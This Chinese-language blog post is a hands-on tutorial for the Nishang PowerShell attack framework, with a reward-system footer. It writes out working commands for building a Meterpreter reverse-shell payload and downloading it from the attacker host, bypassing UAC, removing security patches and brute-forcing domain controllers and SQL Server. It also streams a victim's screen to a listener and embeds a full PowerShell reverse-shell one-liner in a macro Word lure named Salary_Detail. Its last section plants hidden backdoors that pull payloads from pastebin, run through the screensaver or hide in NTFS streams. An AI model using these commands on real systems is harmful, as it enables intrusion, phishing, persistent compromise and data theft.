Nishang:权限提升

1.下载执行

        Download_Execute 是 Nishang 中的下载执行脚本,常用于下载文本文件,然后将其转换为可执行文件执行

get-help Download_Execute
get-help Download_Execute -full

 

利用 Nishang 中的 exetotext.ps1 脚本将 Metasploit 生成的木马端 msf.exe 更改为文本文件 msf.txt,然后通过 Download_Execute  脚本下载并执行该文本文件(文件放在目标机var下,注意攻击机需要先监听端口

//(1)msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=4444 -f exe > shell.exe     

//(2)exe 转换为 txt
ExetoText e:\shell.exe e:\msf.txt    //想要在C盘尝试结果失败,应该是有保护机制

//(3)下载脚本并执行文件
Download_Execute http://192.168.110.130/msf.txt

2.Bypass UAC

Invoke-PsUACme 模块使用了来自 UACME 项目的DLL来绕过UAC,作用是绕过UAC,比较全面

//(1)使用Sysprep方法执行默认的Payload
Invoke-PsUACme -Verbose

//(2)使用oobe方法执行默认的payload
Invoke-PsUACme -method oobe -Verbose

//(3)使用oobe方法执行自制payload (-payload:自行指定执行的 Payload)
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" 

除此之外,还可以使用 -PayloadPath参数指定一个 Payload 路径,在默认情况下,Payload 会在 C:Windows\Temp\cmd.bat 结束。还可以使用 -CustomDll64(64位)或 -CustomDll32(32位)参数自定义一个DLL文件

3.删除补丁

帮助移除系统所有的更新或所有安全更新,以及指定编号的更新

//(1)移除目标机器上的所有更新
Remove-Update All

//(2)移除目标机器上的所有与安全相关更新 
Remove-Update Security

//(3)移除指定编号的更新
Remove-Update XXXX

(systeminfo 查看补丁)

4.其它功能

(1)端口扫描(Invoke-PortScan)

Invoke-PortScan 是 Nishang 的端口扫描脚本,它用于发现主机、解析主机名、端口扫描,是实战中一个很实用的脚本

get-help Invoke-PortScan -full    //查看帮助信息

StartAddress :扫描范围开始的地址
EndAddress :扫描范围结束的地址
ScanPort :进行端口扫描
Port :指定扫描端口
(默认扫描端口:21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,
3001,3128,5222,6667,68 68,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)
TimeOut :设置超时时间

Invoke-PortScan -StartAddress 192.168.110.130 -EndAddress 192.168.110.150 -ResolveHost

(2)爆破破解(Invoke-BruteForce)

Invoke-BruteForce 是 Nishang 中专注于暴力破解的脚本,它用于对 SQL Server、域控制器、Web及FTP弱口令爆破

参数:
ComputerName :对应服务的计算机名
UserList :用户名字典
PasswordList :密码字典
Service服务(默认为SQL)
StopOnSuccess :匹配一个后停止
Delay :延迟时间
//(1)爆破域控制器
Invoke-BruteForce-ComputerName targetdomain.com -UserList C:testusers.txt PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose 

//(2)爆破SQL Server
Invoke-BruteForce-ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose 

//(3)爆破server.txt中所有servers的SQL Server
cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL –Verbose 

(3)嗅探

内网的嗅探使用方法比较简单,但是动静较大

netcat: TCP/IP 的瑞士军刀(简称 nc)

  • -l: 开启监听
  • -p:指定端口
  • -t: 以telnet形式应答
  • -e:程序重定向
  • -n:以数字形式表示ip
  • -v:显示执行命令过程
  • -z : 不进行交互,直接显示结果
  • -u :使用UDP协议传输
  • -w : 设置超时时间

参数 -lnp:多个参数的叠加,分别代表着 -l,-n,-p(实现多种功能)

//(1)目标机执行以下命令
Invoke-Interceptor -ProxyServer 192.166.XXX.XXX -ProxyPort XXXX
//(2)攻击机监听 XXX 端口
netcat -lvvp XXX

(4)屏幕窃取

Show-TargetScreen 脚本使用 MJPEG 传输目标机远程桌面的实时画面,在本机可以使用NC或者powerCat 进行监听。在本地使用支持 MJPEG 的浏览器(如Firefox)访问本机对应监听端口,即可在浏览器上看到从远端传输回来的实时画面,正向反向均可

MJPEG(Motion Joint Photographic Experts Group)是一种视频压缩格式,称为:运动静止图像(或逐帧)压缩技术(把运动的视频序列作为连续的静止图像来处理)

//将远程的画面传送到 192.168.230.1 的443端口
Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443

-IPAddress :IP地址(反向连接需要)
-Port :端口
-Reverse :反向连接
-Bind :正向连接

反向连接:

//(1)在目标机上输入以下命令可以反向连接窃取屏幕
Show-TargetScreen -Reverse -IPAddress 192.168.110.130 -Port 3333
//(2)攻击机输入以下命令,之后访问本机的 9999 端口,可以窃取到目标机屏幕(监听端口不能已经被占领)
netcat -nlvp 3333 | netcat -nlvp 9999

(出现错误只是因为当前的攻击机并没有开放这个3333端口,当攻击机监听这个3333端口时,便能成功)

注意:Show-TargetScreen 脚本使用 MJPEG 技术,动态序列转换为静态图片。因此只要监听一直持续,如果在目标机中操作(移动),那么屏幕画面也会随时窃取到,存取作为图片。(看到的画面其实是一张张图片连接起来的宛如视频)

正向连接:

//(1)目标机 :开放3333端口,作为server(通信)
Show-TargetScreen -Bind -Port 3333
//(2)攻击机 :主动连接目标机的 3333 端口 ; 监听 9999 端口接收来自 3333 端口的信息
netcat -nv 192.168.110.148 3333 | netcat -nlvp 9999

5.生成木马

Nishang 中还有各种木马,可以感染各种文件,如HTA、Word,用于执行 PowerShell 脚本,可以神不知鬼不觉地发动攻击,类型如下(client目录下)

   (各个脚本使用方法基本相同)

-Payload 后面直接加payload,但是注意引号的闭合
-PayloadURL 传入远程的payload进行生成
-PayloadScript 指定本地的脚本进行生成
-Arguments 之后加要执行的函数。(payload之中有的函数)
-OutputFile 输出的文件名
-WordFileDir 输出的目录地址
-Recurse 在WordFileDir中递归寻找Word文件
-RemoveDocx 创建完成后删除掉原始的文件

实现:

(1)攻击机监听 4444 端口:nc -lvp 4444 

(2)制作word文件,打开 nishang\Shells\Invoke-PowershellTcpOneLine.ps1 这个文件,寻找到参数 tcpclient 命令语句(ctrl + f ),可以看到有个远程连接地址

修改远程连接地址和端口,变成 攻击机的ip 和 监听的端口,改完以后复制该代码( 代码 $cleint 开始,$client.Close()结束 ),输入以下命令

Invoke-Encode -DataToEncode '复制的代码' -IsString -PostScript
//复制的代码

$client = New-Object System.Net.Sockets.TCPClient('192.168.110.130',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS' + (pwd).Path + '>';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

执行完成后会在当前目录下生成两个文件,一个是 encoded.txt,另一个是encodedcommand.txt

(注意:复制的代码中存在 ' ' ,输入命令时记得 复制的代码整个被包含使用:" "(系统运行识别问题))

Invoke-Encode -DataToEncode "$client = New-Object System.Net.Sockets.TCPClient('192.168.110.130',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS' + (pwd).Path + '>';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" -IsString -PostScript

接着执行以下命令会在当前文件夹下生成一个 Salary_Detail 的doc文件。目标用户打开 Word 以后,会反弹 Shell,在启用宏的计算机上没有任何提示,未启用宏的计算机会有启用宏的提示。获取反弹的 PowerShell 后可以很容易地升级到 Metasploit 的 Meterpreter

Out-Word -PayloadScript .\encodedcommand.txt

6.后门

(1)HTTP-Backdoor

HTTP-Backdoor 帮助在目标机器上下载和执行 powershell 脚本,接收来自第三方网站的指令,然后在内存中执行 PowerShell 脚本

HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis

CheckURL :给出一个URL地址,如果存在,MagicString中的值就执行Payload来下载、运行我们的脚本
PayloadURL :给出需要下载的PowerShell脚本的地址
Arguments :指定要执行的函数
StopString :判断是否存在CheckURL返回的字符串,如果存在则停止执行

(2)Add-ScrnSaveBackdoor

利用 Windows 的屏保来留下一个隐藏的后门

//(1)使用这条语句可以执行自己生成的payload
Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process"

//(2)利用这条命令可以在powershell中执行一个HTTP-Backdoor
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis

//(3)
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1

类似:msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell
(使用 msfvenom 生成一个 Powershell,之后利用命令返回一个 meterpreter)
PayloadURL :指定需要下载的脚本地址

Arguments :指定要执行的函数以及相关参数

(3)Execute-OnTime

指定目标机上 powershell 脚本的执行时间,与 HTTP-Backdoor 使用方法相似,只不过多了定时功能

Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload

PayloadURL :指定脚本下载的地址
Arguments :指定执行的函数名
Time :设定脚本执行的时间(例如-Time 23:21)
CheckURL :会检测一个指定的URL内容里是否存在StopString给出的字符串,如果发现了就停止执行

(4)Invoke-ADSBackdoor

使用 NTFS 数据流留下一个永久性后门。这种方式可以说是最恐怖的,因为这样留下的后门几乎是永久的,也不容易被发现

脚本向 ADS 中注入代码并且以普通用户的权限运行

Invoke-ADSBackdoor>Invoke-ADSBackdoor -PayloadURL http://192.168.1.138/payload.ps1

执行该脚本后,目标用户手动找根本不会找到任何东西,使用命令 dir /a /r 才能看到被写入的文件

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值